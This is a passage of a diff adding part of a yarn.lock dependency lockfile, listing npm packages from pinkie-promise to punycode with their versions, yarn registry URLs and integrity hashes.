+ integrity sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==
+
+pinkie-promise@^2.0.0:
+ version "2.0.1"
+ resolved "https://registry.yarnpkg.com/pinkie-promise/-/pinkie-promise-2.0.1.tgz#2135d6dfa7a358c069ac9b178776288228450ffa"
+ integrity sha1-ITXW36ejWMBprJsXh3YogihFD/o=
+ dependencies:
+ pinkie "^2.0.0"
+
+pinkie@^2.0.0:
+ version "2.0.4"
+ resolved "https://registry.yarnpkg.com/pinkie/-/pinkie-2.0.4.tgz#72556b80cfa0d48a974e80e77248e80ed4f7f870"
+ integrity sha1-clVrgM+g1IqXToDnckjoDtT3+HA=
+
+pirates@^4.0.0, pirates@^4.0.1:
+ version "4.0.1"
+ resolved "https://registry.yarnpkg.com/pirates/-/pirates-4.0.1.tgz#643a92caf894566f91b2b986d2c66950a8e2fb87"
+ integrity sha512-WuNqLTbMI3tmfef2TKxlQmAiLHKtFhlsCZnPIpuv2Ow0RDVO8lfy1Opf4NUzlMXLjPl+Men7AuVdX6TA+s+uGA==
+ dependencies:
+ node-modules-regexp "^1.0.0"
+
+pkg-dir@^3.0.0:
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-3.0.0.tgz#2749020f239ed990881b1f71210d51eb6523bea3"
+ integrity sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==
+ dependencies:
+ find-up "^3.0.0"
+
+pkg-dir@^4.1.0:
+ version "4.2.0"
+ resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-4.2.0.tgz#f099133df7ede422e81d1d8448270eeb3e4261f3"
+ integrity sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==
+ dependencies:
+ find-up "^4.0.0"
+
+pkg-dir@^5.0.0:
+ version "5.0.0"
+ resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-5.0.0.tgz#a02d6aebe6ba133a928f74aec20bafdfe6b8e760"
+ integrity sha512-NPE8TDbzl/3YQYY7CSS228s3g2ollTFnc+Qi3tqmqJp9Vg2ovUpixcJEo2HJScN2Ez+kEaal6y70c0ehqJBJeA==
+ dependencies:
+ find-up "^5.0.0"
+
+pkg-up@3.1.0:
+ version "3.1.0"
+ resolved "https://registry.yarnpkg.com/pkg-up/-/pkg-up-3.1.0.tgz#100ec235cc150e4fd42519412596a28512a0def5"
+ integrity sha512-nDywThFk1i4BQK4twPQ6TA4RT8bDY96yeuCVBWL3ePARCiEKDRSrNGbFIgUJpLp+XeIR65v8ra7WuJOFUBtkMA==
+ dependencies:
+ find-up "^3.0.0"
+
+pnp-webpack-plugin@1.6.4:
+ version "1.6.4"
+ resolved "https://registry.yarnpkg.com/pnp-webpack-plugin/-/pnp-webpack-plugin-1.6.4.tgz#c9711ac4dc48a685dabafc86f8b6dd9f8df84149"
+ integrity sha512-7Wjy+9E3WwLOEL30D+m8TSTF7qJJUJLONBnwQp0518siuMxUQUbgZwssaFX+QKlZkjHZcw/IpZCt/H0srrntSg==
+ dependencies:
+ ts-pnp "^1.1.6"
+
+polished@^4.0.5:
+ version "4.1.3"
+ resolved "https://registry.yarnpkg.com/polished/-/polished-4.1.3.tgz#7a3abf2972364e7d97770b827eec9a9e64002cfc"
+ integrity sha512-ocPAcVBUOryJEKe0z2KLd1l9EBa1r5mSwlKpExmrLzsnIzJo4axsoU9O2BjOTkDGDT4mZ0WFE5XKTlR3nLnZOA==
+ dependencies:
+ "@babel/runtime" "^7.14.0"
+
+posix-character-classes@^0.1.0:
+ version "0.1.1"
+ resolved "https://registry.yarnpkg.com/posix-character-classes/-/posix-character-classes-0.1.1.tgz#01eac0fe3b5af71a2a6c02feabb8c1fef7e00eab"
+ integrity sha1-AerA/jta9xoqbAL+q7jB/vfgDqs=
+
+postcss-flexbugs-fixes@^4.2.1:
+ version "4.2.1"
+ resolved "https://registry.yarnpkg.com/postcss-flexbugs-fixes/-/postcss-flexbugs-fixes-4.2.1.tgz#9218a65249f30897deab1033aced8578562a6690"
+ integrity sha512-9SiofaZ9CWpQWxOwRh1b/r85KD5y7GgvsNt1056k6OYLvWUun0czCvogfJgylC22uJTwW1KzY3Gz65NZRlvoiQ==
+ dependencies:
+ postcss "^7.0.26"
+
+postcss-load-config@^2.0.0:
+ version "2.1.2"
+ resolved "https://registry.yarnpkg.com/postcss-load-config/-/postcss-load-config-2.1.2.tgz#c5ea504f2c4aef33c7359a34de3573772ad7502a"
+ integrity sha512-/rDeGV6vMUo3mwJZmeHfEDvwnTKKqQ0S7OHUi/kJvvtx3aWtyWG2/0ZWnzCt2keEclwN6Tf0DST2v9kITdOKYw==
+ dependencies:
+ cosmiconfig "^5.0.0"
+ import-cwd "^2.0.0"
+
+postcss-loader@3.0.0:
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/postcss-loader/-/postcss-loader-3.0.0.tgz#6b97943e47c72d845fa9e03f273773d4e8dd6c2d"
+ integrity sha512-cLWoDEY5OwHcAjDnkyRQzAXfs2jrKjXpO/HQFcc5b5u/r7aa471wdmChmwfnv7x2u840iat/wi0lQ5nbRgSkUA==
+ dependencies:
+ loader-utils "^1.1.0"
+ postcss "^7.0.0"
+ postcss-load-config "^2.0.0"
+ schema-utils "^1.0.0"
+
+postcss-loader@^4.2.0:
+ version "4.3.0"
+ resolved "https://registry.yarnpkg.com/postcss-loader/-/postcss-loader-4.3.0.tgz#2c4de9657cd4f07af5ab42bd60a673004da1b8cc"
+ integrity sha512-M/dSoIiNDOo8Rk0mUqoj4kpGq91gcxCfb9PoyZVdZ76/AuhxylHDYZblNE8o+EQ9AMSASeMFEKxZf5aU6wlx1Q==
+ dependencies:
+ cosmiconfig "^7.0.0"
+ klona "^2.0.4"
+ loader-utils "^2.0.0"
+ schema-utils "^3.0.0"
+ semver "^7.3.4"
+
+postcss-modules-extract-imports@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/postcss-modules-extract-imports/-/postcss-modules-extract-imports-2.0.0.tgz#818719a1ae1da325f9832446b01136eeb493cd7e"
+ integrity sha512-LaYLDNS4SG8Q5WAWqIJgdHPJrDDr/Lv775rMBFUbgjTz6j34lUznACHcdRWroPvXANP2Vj7yNK57vp9eFqzLWQ==
+ dependencies:
+ postcss "^7.0.5"
+
+postcss-modules-extract-imports@^3.0.0:
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.0.0.tgz#cda1f047c0ae80c97dbe28c3e76a43b88025741d"
+ integrity sha512-bdHleFnP3kZ4NYDhuGlVK+CMrQ/pqUm8bx/oGL93K6gVwiclvX5x0n76fYMKuIGKzlABOy13zsvqjb0f92TEXw==
+
+postcss-modules-local-by-default@^3.0.2:
+ version "3.0.3"
+ resolved "https://registry.yarnpkg.com/postcss-modules-local-by-default/-/postcss-modules-local-by-default-3.0.3.tgz#bb14e0cc78279d504dbdcbfd7e0ca28993ffbbb0"
+ integrity sha512-e3xDq+LotiGesympRlKNgaJ0PCzoUIdpH0dj47iWAui/kyTgh3CiAr1qP54uodmJhl6p9rN6BoNcdEDVJx9RDw==
+ dependencies:
+ icss-utils "^4.1.1"
+ postcss "^7.0.32"
+ postcss-selector-parser "^6.0.2"
+ postcss-value-parser "^4.1.0"
+
+postcss-modules-local-by-default@^4.0.0:
+ version "4.0.0"
+ resolved "https://registry.yarnpkg.com/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.0.tgz#ebbb54fae1598eecfdf691a02b3ff3b390a5a51c"
+ integrity sha512-sT7ihtmGSF9yhm6ggikHdV0hlziDTX7oFoXtuVWeDd3hHObNkcHRo9V3yg7vCAY7cONyxJC/XXCmmiHHcvX7bQ==
+ dependencies:
+ icss-utils "^5.0.0"
+ postcss-selector-parser "^6.0.2"
+ postcss-value-parser "^4.1.0"
+
+postcss-modules-scope@^2.2.0:
+ version "2.2.0"
+ resolved "https://registry.yarnpkg.com/postcss-modules-scope/-/postcss-modules-scope-2.2.0.tgz#385cae013cc7743f5a7d7602d1073a89eaae62ee"
+ integrity sha512-YyEgsTMRpNd+HmyC7H/mh3y+MeFWevy7V1evVhJWewmMbjDHIbZbOXICC2y+m1xI1UVfIT1HMW/O04Hxyu9oXQ==
+ dependencies:
+ postcss "^7.0.6"
+ postcss-selector-parser "^6.0.0"
+
+postcss-modules-scope@^3.0.0:
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/postcss-modules-scope/-/postcss-modules-scope-3.0.0.tgz#9ef3151456d3bbfa120ca44898dfca6f2fa01f06"
+ integrity sha512-hncihwFA2yPath8oZ15PZqvWGkWf+XUfQgUGamS4LqoP1anQLOsOJw0vr7J7IwLpoY9fatA2qiGUGmuZL0Iqlg==
+ dependencies:
+ postcss-selector-parser "^6.0.4"
+
+postcss-modules-values@^3.0.0:
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/postcss-modules-values/-/postcss-modules-values-3.0.0.tgz#5b5000d6ebae29b4255301b4a3a54574423e7f10"
+ integrity sha512-1//E5jCBrZ9DmRX+zCtmQtRSV6PV42Ix7Bzj9GbwJceduuf7IqP8MgeTXuRDHOWj2m0VzZD5+roFWDuU8RQjcg==
+ dependencies:
+ icss-utils "^4.0.0"
+ postcss "^7.0.6"
+
+postcss-modules-values@^4.0.0:
+ version "4.0.0"
+ resolved "https://registry.yarnpkg.com/postcss-modules-values/-/postcss-modules-values-4.0.0.tgz#d7c5e7e68c3bb3c9b27cbf48ca0bb3ffb4602c9c"
+ integrity sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==
+ dependencies:
+ icss-utils "^5.0.0"
+
+postcss-modules@^4.0.0:
+ version "4.0.0"
+ resolved "https://registry.yarnpkg.com/postcss-modules/-/postcss-modules-4.0.0.tgz#2bc7f276ab88f3f1b0fadf6cbd7772d43b5f3b9b"
+ integrity sha512-ghS/ovDzDqARm4Zj6L2ntadjyQMoyJmi0JkLlYtH2QFLrvNlxH5OAVRPWPeKilB0pY7SbuhO173KOWkPAxRJcw==
+ dependencies:
+ generic-names "^2.0.1"
+ icss-replace-symbols "^1.1.0"
+ lodash.camelcase "^4.3.0"
+ postcss-modules-extract-imports "^3.0.0"
+ postcss-modules-local-by-default "^4.0.0"
+ postcss-modules-scope "^3.0.0"
+ postcss-modules-values "^4.0.0"
+ string-hash "^1.1.1"
+
+postcss-scss@^2.0.0:
+ version "2.1.1"
+ resolved "https://registry.yarnpkg.com/postcss-scss/-/postcss-scss-2.1.1.tgz#ec3a75fa29a55e016b90bf3269026c53c1d2b383"
+ integrity sha512-jQmGnj0hSGLd9RscFw9LyuSVAa5Bl1/KBPqG1NQw9w8ND55nY4ZEsdlVuYJvLPpV+y0nwTV5v/4rHPzZRihQbA==
+ dependencies:
+ postcss "^7.0.6"
+
+postcss-selector-parser@^6.0.0, postcss-selector-parser@^6.0.2, postcss-selector-parser@^6.0.4:
+ version "6.0.6"
+ resolved "https://registry.yarnpkg.com/postcss-selector-parser/-/postcss-selector-parser-6.0.6.tgz#2c5bba8174ac2f6981ab631a42ab0ee54af332ea"
+ integrity sha512-9LXrvaaX3+mcv5xkg5kFwqSzSH1JIObIx51PrndZwlmznwXRfxMddDvo9gve3gVR8ZTKgoFDdWkbRFmEhT4PMg==
+ dependencies:
+ cssesc "^3.0.0"
+ util-deprecate "^1.0.2"
+
+postcss-value-parser@^4.1.0:
+ version "4.1.0"
+ resolved "https://registry.yarnpkg.com/postcss-value-parser/-/postcss-value-parser-4.1.0.tgz#443f6a20ced6481a2bda4fa8532a6e55d789a2cb"
+ integrity sha512-97DXOFbQJhk71ne5/Mt6cOu6yxsSfM0QGQyl0L25Gca4yGWEGJaig7l7gbCX623VqTBNGLRLaVUCnNkcedlRSQ==
+
+postcss@^6.0.14:
+ version "6.0.23"
+ resolved "https://registry.yarnpkg.com/postcss/-/postcss-6.0.23.tgz#61c82cc328ac60e677645f979054eb98bc0e3324"
+ integrity sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==
+ dependencies:
+ chalk "^2.4.1"
+ source-map "^0.6.1"
+ supports-color "^5.4.0"
+
+postcss@^7.0.0, postcss@^7.0.14, postcss@^7.0.26, postcss@^7.0.32, postcss@^7.0.35, postcss@^7.0.5, postcss@^7.0.6:
+ version "7.0.35"
+ resolved "https://registry.yarnpkg.com/postcss/-/postcss-7.0.35.tgz#d2be00b998f7f211d8a276974079f2e92b970e24"
+ integrity sha512-3QT8bBJeX/S5zKTTjTCIjRF3If4avAT6kqxcASlTWEtAFCb9NH0OUxNDfgZSWdP5fJnBYCMEWkIFfWeugjzYMg==
+ dependencies:
+ chalk "^2.4.2"
+ source-map "^0.6.1"
+ supports-color "^6.1.0"
+
+postcss@^8.1.10:
+ version "8.3.0"
+ resolved "https://registry.yarnpkg.com/postcss/-/postcss-8.3.0.tgz#b1a713f6172ca427e3f05ef1303de8b65683325f"
+ integrity sha512-+ogXpdAjWGa+fdYY5BQ96V/6tAo+TdSSIMP5huJBIygdWwKtVoB5JWZ7yUd4xZ8r+8Kvvx4nyg/PQ071H4UtcQ==
+ dependencies:
+ colorette "^1.2.2"
+ nanoid "^3.1.23"
+ source-map-js "^0.6.2"
+
+prelude-ls@~1.1.2:
+ version "1.1.2"
+ resolved "https://registry.yarnpkg.com/prelude-ls/-/prelude-ls-1.1.2.tgz#21932a549f5e52ffd9a827f570e04be62a97da54"
+ integrity sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=
+
+prettier@~2.2.1:
+ version "2.2.1"
+ resolved "https://registry.yarnpkg.com/prettier/-/prettier-2.2.1.tgz#795a1a78dd52f073da0cd42b21f9c91381923ff5"
+ integrity sha512-PqyhM2yCjg/oKkFPtTGUojv7gnZAoG80ttl45O6x2Ug/rMJw4wcc9k6aaf2hibP7BGVCCM33gZoGjyvt9mm16Q==
+
+pretty-error@^2.1.1:
+ version "2.1.2"
+ resolved "https://registry.yarnpkg.com/pretty-error/-/pretty-error-2.1.2.tgz#be89f82d81b1c86ec8fdfbc385045882727f93b6"
+ integrity sha512-EY5oDzmsX5wvuynAByrmY0P0hcp+QpnAKbJng2A2MPjVKXCxrDSUkzghVJ4ZGPIv+JC4gX8fPUWscC0RtjsWGw==
+ dependencies:
+ lodash "^4.17.20"
+ renderkid "^2.0.4"
+
+pretty-hrtime@^1.0.3:
+ version "1.0.3"
+ resolved "https://registry.yarnpkg.com/pretty-hrtime/-/pretty-hrtime-1.0.3.tgz#b7e3ea42435a4c9b2759d99e0f201eb195802ee1"
+ integrity sha1-t+PqQkNaTJsnWdmeDyAesZWALuE=
+
+prismjs@^1.21.0, prismjs@~1.23.0:
+ version "1.23.0"
+ resolved "https://registry.yarnpkg.com/prismjs/-/prismjs-1.23.0.tgz#d3b3967f7d72440690497652a9d40ff046067f33"
+ integrity sha512-c29LVsqOaLbBHuIbsTxaKENh1N2EQBOHaWv7gkHN4dgRbxSREqDnDbtFJYdpPauS4YCplMSNCABQ6Eeor69bAA==
+ optionalDependencies:
+ clipboard "^2.0.0"
+
+private@^0.1.8:
+ version "0.1.8"
+ resolved "https://registry.yarnpkg.com/private/-/private-0.1.8.tgz#2381edb3689f7a53d653190060fcf822d2f368ff"
+ integrity sha512-VvivMrbvd2nKkiG38qjULzlc+4Vx4wm/whI9pQD35YrARNnhxeiRktSOhSukRLFNlzg6Br/cJPet5J/u19r/mg==
+
+process-nextick-args@~2.0.0:
+ version "2.0.1"
+ resolved "https://registry.yarnpkg.com/process-nextick-args/-/process-nextick-args-2.0.1.tgz#7820d9b16120cc55ca9ae7792680ae7dba6d7fe2"
+ integrity sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==
+
+process@^0.11.10:
+ version "0.11.10"
+ resolved "https://registry.yarnpkg.com/process/-/process-0.11.10.tgz#7332300e840161bda3e69a1d1d91a7d4bc16f182"
+ integrity sha1-czIwDoQBYb2j5podHZGn1LwW8YI=
+
+promise-inflight@^1.0.1:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/promise-inflight/-/promise-inflight-1.0.1.tgz#98472870bf228132fcbdd868129bad12c3c029e3"
+ integrity sha1-mEcocL8igTL8vdhoEputEsPAKeM=
+
+promise.allsettled@^1.0.0:
+ version "1.0.4"
+ resolved "https://registry.yarnpkg.com/promise.allsettled/-/promise.allsettled-1.0.4.tgz#65e71f2a604082ed69c548b68603294090ee6803"
+ integrity sha512-o73CbvQh/OnPFShxHcHxk0baXR2a1m4ozb85ha0H14VEoi/EJJLa9mnPfEWJx9RjA9MLfhdjZ8I6HhWtBa64Ag==
+ dependencies:
+ array.prototype.map "^1.0.3"
+ call-bind "^1.0.2"
+ define-properties "^1.1.3"
+ es-abstract "^1.18.0-next.2"
+ get-intrinsic "^1.0.2"
+ iterate-value "^1.0.2"
+
+promise.prototype.finally@^3.1.0:
+ version "3.1.2"
+ resolved "https://registry.yarnpkg.com/promise.prototype.finally/-/promise.prototype.finally-3.1.2.tgz#b8af89160c9c673cefe3b4c4435b53cfd0287067"
+ integrity sha512-A2HuJWl2opDH0EafgdjwEw7HysI8ff/n4lW4QEVBCUXFk9QeGecBWv0Deph0UmLe3tTNYegz8MOjsVuE6SMoJA==
+ dependencies:
+ define-properties "^1.1.3"
+ es-abstract "^1.17.0-next.0"
+ function-bind "^1.1.1"
+
+promise@^7.0.1:
+ version "7.3.1"
+ resolved "https://registry.yarnpkg.com/promise/-/promise-7.3.1.tgz#064b72602b18f90f29192b8b1bc418ffd1ebd3bf"
+ integrity sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg==
+ dependencies:
+ asap "~2.0.3"
+
+prompts@2.4.0:
+ version "2.4.0"
+ resolved "https://registry.yarnpkg.com/prompts/-/prompts-2.4.0.tgz#4aa5de0723a231d1ee9121c40fdf663df73f61d7"
+ integrity sha512-awZAKrk3vN6CroQukBL+R9051a4R3zCZBlJm/HBfrSZ8iTpYix3VX1vU4mveiLpiwmOJT4wokTF9m6HUk4KqWQ==
+ dependencies:
+ kleur "^3.0.3"
+ sisteransi "^1.0.5"
+
+prompts@^2.4.0:
+ version "2.4.1"
+ resolved "https://registry.yarnpkg.com/prompts/-/prompts-2.4.1.tgz#befd3b1195ba052f9fd2fde8a486c4e82ee77f61"
+ integrity sha512-EQyfIuO2hPDsX1L/blblV+H7I0knhgAd82cVneCwcdND9B8AuCDuRcBH6yIcG4dFzlOUqbazQqwGjx5xmsNLuQ==
+ dependencies:
+ kleur "^3.0.3"
+ sisteransi "^1.0.5"
+
+prop-types@^15.0.0, prop-types@^15.6.0, prop-types@^15.6.1, prop-types@^15.6.2, prop-types@^15.7.2:
+ version "15.7.2"
+ resolved "https://registry.yarnpkg.com/prop-types/-/prop-types-15.7.2.tgz#52c41e75b8c87e72b9d9360e0206b99dcbffa6c5"
+ integrity sha512-8QQikdH7//R2vurIJSutZ1smHYTcLpRWEOlHnzcWHmBYrOGUysKwSsrC89BCiFj3CbrfJ/nXFdJepOVrY1GCHQ==
+ dependencies:
+ loose-envify "^1.4.0"
+ object-assign "^4.1.1"
+ react-is "^16.8.1"
+
+property-information@^5.0.0, property-information@^5.3.0:
+ version "5.6.0"
+ resolved "https://registry.yarnpkg.com/property-information/-/property-information-5.6.0.tgz#61675545fb23002f245c6540ec46077d4da3ed69"
+ integrity sha512-YUHSPk+A30YPv+0Qf8i9Mbfe/C0hdPXk1s1jPVToV8pk8BQtpw10ct89Eo7OWkutrwqvT0eicAxlOg3dOAu8JA==
+ dependencies:
+ xtend "^4.0.0"
+
+proxy-addr@~2.0.5:
+ version "2.0.6"
+ resolved "https://registry.yarnpkg.com/proxy-addr/-/proxy-addr-2.0.6.tgz#fdc2336505447d3f2f2c638ed272caf614bbb2bf"
+ integrity sha512-dh/frvCBVmSsDYzw6n926jv974gddhkFPfiN8hPOi30Wax25QZyZEGveluCgliBnqmuM+UJmBErbAUFIoDbjOw==
+ dependencies:
+ forwarded "~0.1.2"
+ ipaddr.js "1.9.1"
+
+prr@~1.0.1:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/prr/-/prr-1.0.1.tgz#d3fc114ba06995a45ec6893f484ceb1d78f5f476"
+ integrity sha1-0/wRS6BplaRexok/SEzrHXj19HY=
+
+pseudomap@^1.0.2:
+ version "1.0.2"
+ resolved "https://registry.yarnpkg.com/pseudomap/-/pseudomap-1.0.2.tgz#f052a28da70e618917ef0a8ac34c1ae5a68286b3"
+ integrity sha1-8FKijacOYYkX7wqKw0wa5aaChrM=
+
+psl@^1.1.28:
+ version "1.8.0"
+ resolved "https://registry.yarnpkg.com/psl/-/psl-1.8.0.tgz#9326f8bcfb013adcc005fdff056acce020e51c24"
+ integrity sha512-RIdOzyoavK+hA18OGGWDqUTsCLhtA7IcZ/6NCs4fFJaHBDab+pDDmDIByWFRQJq2Cd7r1OoQxBGKOaztq+hjIQ==
+
+public-encrypt@^4.0.0:
+ version "4.0.3"
+ resolved "https://registry.yarnpkg.com/public-encrypt/-/public-encrypt-4.0.3.tgz#4fcc9d77a07e48ba7527e7cbe0de33d0701331e0"
+ integrity sha512-zVpa8oKZSz5bTMTFClc1fQOnyyEzpl5ozpi1B5YcvBrdohMjH2rfsBtyXcuNuwjsDIXmBYlF2N5FlJYhR29t8Q==
+ dependencies:
+ bn.js "^4.1.0"
+ browserify-rsa "^4.0.0"
+ create-hash "^1.1.0"
+ parse-asn1 "^5.0.0"
+ randombytes "^2.0.1"
+ safe-buffer "^5.1.2"
+
+pug-attrs@^3.0.0:
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/pug-attrs/-/pug-attrs-3.0.0.tgz#b10451e0348165e31fad1cc23ebddd9dc7347c41"
+ integrity sha512-azINV9dUtzPMFQktvTXciNAfAuVh/L/JCl0vtPCwvOA21uZrC08K/UnmrL+SXGEVc1FwzjW62+xw5S/uaLj6cA==
+ dependencies:
+ constantinople "^4.0.1"
+ js-stringify "^1.0.2"
+ pug-runtime "^3.0.0"
+
+pug-code-gen@^3.0.2:
+ version "3.0.2"
+ resolved "https://registry.yarnpkg.com/pug-code-gen/-/pug-code-gen-3.0.2.tgz#ad190f4943133bf186b60b80de483100e132e2ce"
+ integrity sha512-nJMhW16MbiGRiyR4miDTQMRWDgKplnHyeLvioEJYbk1RsPI3FuA3saEP8uwnTb2nTJEKBU90NFVWJBk4OU5qyg==
+ dependencies:
+ constantinople "^4.0.1"
+ doctypes "^1.1.0"
+ js-stringify "^1.0.2"
+ pug-attrs "^3.0.0"
+ pug-error "^2.0.0"
+ pug-runtime "^3.0.0"
+ void-elements "^3.1.0"
+ with "^7.0.0"
+
+pug-error@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/pug-error/-/pug-error-2.0.0.tgz#5c62173cb09c34de2a2ce04f17b8adfec74d8ca5"
+ integrity sha512-sjiUsi9M4RAGHktC1drQfCr5C5eriu24Lfbt4s+7SykztEOwVZtbFk1RRq0tzLxcMxMYTBR+zMQaG07J/btayQ==
+
+pug-filters@^4.0.0:
+ version "4.0.0"
+ resolved "https://registry.yarnpkg.com/pug-filters/-/pug-filters-4.0.0.tgz#d3e49af5ba8472e9b7a66d980e707ce9d2cc9b5e"
+ integrity sha512-yeNFtq5Yxmfz0f9z2rMXGw/8/4i1cCFecw/Q7+D0V2DdtII5UvqE12VaZ2AY7ri6o5RNXiweGH79OCq+2RQU4A==
+ dependencies:
+ constantinople "^4.0.1"
+ jstransformer "1.0.0"
+ pug-error "^2.0.0"
+ pug-walk "^2.0.0"
+ resolve "^1.15.1"
+
+pug-lexer@^5.0.1:
+ version "5.0.1"
+ resolved "https://registry.yarnpkg.com/pug-lexer/-/pug-lexer-5.0.1.tgz#ae44628c5bef9b190b665683b288ca9024b8b0d5"
+ integrity sha512-0I6C62+keXlZPZkOJeVam9aBLVP2EnbeDw3An+k0/QlqdwH6rv8284nko14Na7c0TtqtogfWXcRoFE4O4Ff20w==
+ dependencies:
+ character-parser "^2.2.0"
+ is-expression "^4.0.0"
+ pug-error "^2.0.0"
+
+pug-linker@^4.0.0:
+ version "4.0.0"
+ resolved "https://registry.yarnpkg.com/pug-linker/-/pug-linker-4.0.0.tgz#12cbc0594fc5a3e06b9fc59e6f93c146962a7708"
+ integrity sha512-gjD1yzp0yxbQqnzBAdlhbgoJL5qIFJw78juN1NpTLt/mfPJ5VgC4BvkoD3G23qKzJtIIXBbcCt6FioLSFLOHdw==
+ dependencies:
+ pug-error "^2.0.0"
+ pug-walk "^2.0.0"
+
+pug-load@^3.0.0:
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/pug-load/-/pug-load-3.0.0.tgz#9fd9cda52202b08adb11d25681fb9f34bd41b662"
+ integrity sha512-OCjTEnhLWZBvS4zni/WUMjH2YSUosnsmjGBB1An7CsKQarYSWQ0GCVyd4eQPMFJqZ8w9xgs01QdiZXKVjk92EQ==
+ dependencies:
+ object-assign "^4.1.1"
+ pug-walk "^2.0.0"
+
+pug-parser@^6.0.0:
+ version "6.0.0"
+ resolved "https://registry.yarnpkg.com/pug-parser/-/pug-parser-6.0.0.tgz#a8fdc035863a95b2c1dc5ebf4ecf80b4e76a1260"
+ integrity sha512-ukiYM/9cH6Cml+AOl5kETtM9NR3WulyVP2y4HOU45DyMim1IeP/OOiyEWRr6qk5I5klpsBnbuHpwKmTx6WURnw==
+ dependencies:
+ pug-error "^2.0.0"
+ token-stream "1.0.0"
+
+pug-runtime@^3.0.0, pug-runtime@^3.0.1:
+ version "3.0.1"
+ resolved "https://registry.yarnpkg.com/pug-runtime/-/pug-runtime-3.0.1.tgz#f636976204723f35a8c5f6fad6acda2a191b83d7"
+ integrity sha512-L50zbvrQ35TkpHwv0G6aLSuueDRwc/97XdY8kL3tOT0FmhgG7UypU3VztfV/LATAvmUfYi4wNxSajhSAeNN+Kg==
+
+pug-strip-comments@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/pug-strip-comments/-/pug-strip-comments-2.0.0.tgz#f94b07fd6b495523330f490a7f554b4ff876303e"
+ integrity sha512-zo8DsDpH7eTkPHCXFeAk1xZXJbyoTfdPlNR0bK7rpOMuhBYb0f5qUVCO1xlsitYd3w5FQTK7zpNVKb3rZoUrrQ==
+ dependencies:
+ pug-error "^2.0.0"
+
+pug-walk@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/pug-walk/-/pug-walk-2.0.0.tgz#417aabc29232bb4499b5b5069a2b2d2a24d5f5fe"
+ integrity sha512-yYELe9Q5q9IQhuvqsZNwA5hfPkMJ8u92bQLIMcsMxf/VADjNtEYptU+inlufAFYcWdHlwNfZOEnOOQrZrcyJCQ==
+
+pug@^3.0.2:
+ version "3.0.2"
+ resolved "https://registry.yarnpkg.com/pug/-/pug-3.0.2.tgz#f35c7107343454e43bc27ae0ff76c731b78ea535"
+ integrity sha512-bp0I/hiK1D1vChHh6EfDxtndHji55XP/ZJKwsRqrz6lRia6ZC2OZbdAymlxdVFwd1L70ebrVJw4/eZ79skrIaw==
+ dependencies:
+ pug-code-gen "^3.0.2"
+ pug-filters "^4.0.0"
+ pug-lexer "^5.0.1"
+ pug-linker "^4.0.0"
+ pug-load "^3.0.0"
+ pug-parser "^6.0.0"
+ pug-runtime "^3.0.1"
+ pug-strip-comments "^2.0.0"
+
+pump@^2.0.0:
+ version "2.0.1"
+ resolved "https://registry.yarnpkg.com/pump/-/pump-2.0.1.tgz#12399add6e4cf7526d973cbc8b5ce2e2908b3909"
+ integrity sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==
+ dependencies:
+ end-of-stream "^1.1.0"
+ once "^1.3.1"
+
+pump@^3.0.0:
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/pump/-/pump-3.0.0.tgz#b4a2116815bde2f4e1ea602354e8c75565107a64"
+ integrity sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==
+ dependencies:
+ end-of-stream "^1.1.0"
+ once "^1.3.1"
+
+pumpify@^1.3.3:
+ version "1.5.1"
+ resolved "https://registry.yarnpkg.com/pumpify/-/pumpify-1.5.1.tgz#36513be246ab27570b1a374a5ce278bfd74370ce"
+ integrity sha512-oClZI37HvuUJJxSKKrC17bZ9Cu0ZYhEAGPsPUy9KlMUmv9dKX2o77RUmq7f3XjIxbwyGwYzbzQ1L2Ks8sIradQ==
+ dependencies:
+ duplexify "^3.6.0"
+ inherits "^2.0.3"
+ pump "^2.0.0"
+
+punycode@1.3.2:
+ version "1.3.2"
+ resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.3.2.tgz#9653a036fb7c1ee42342f2325cceefea3926c48d"
+ integrity sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0=
+
+punycode@^1.2.4:
+ version "1.4.1"
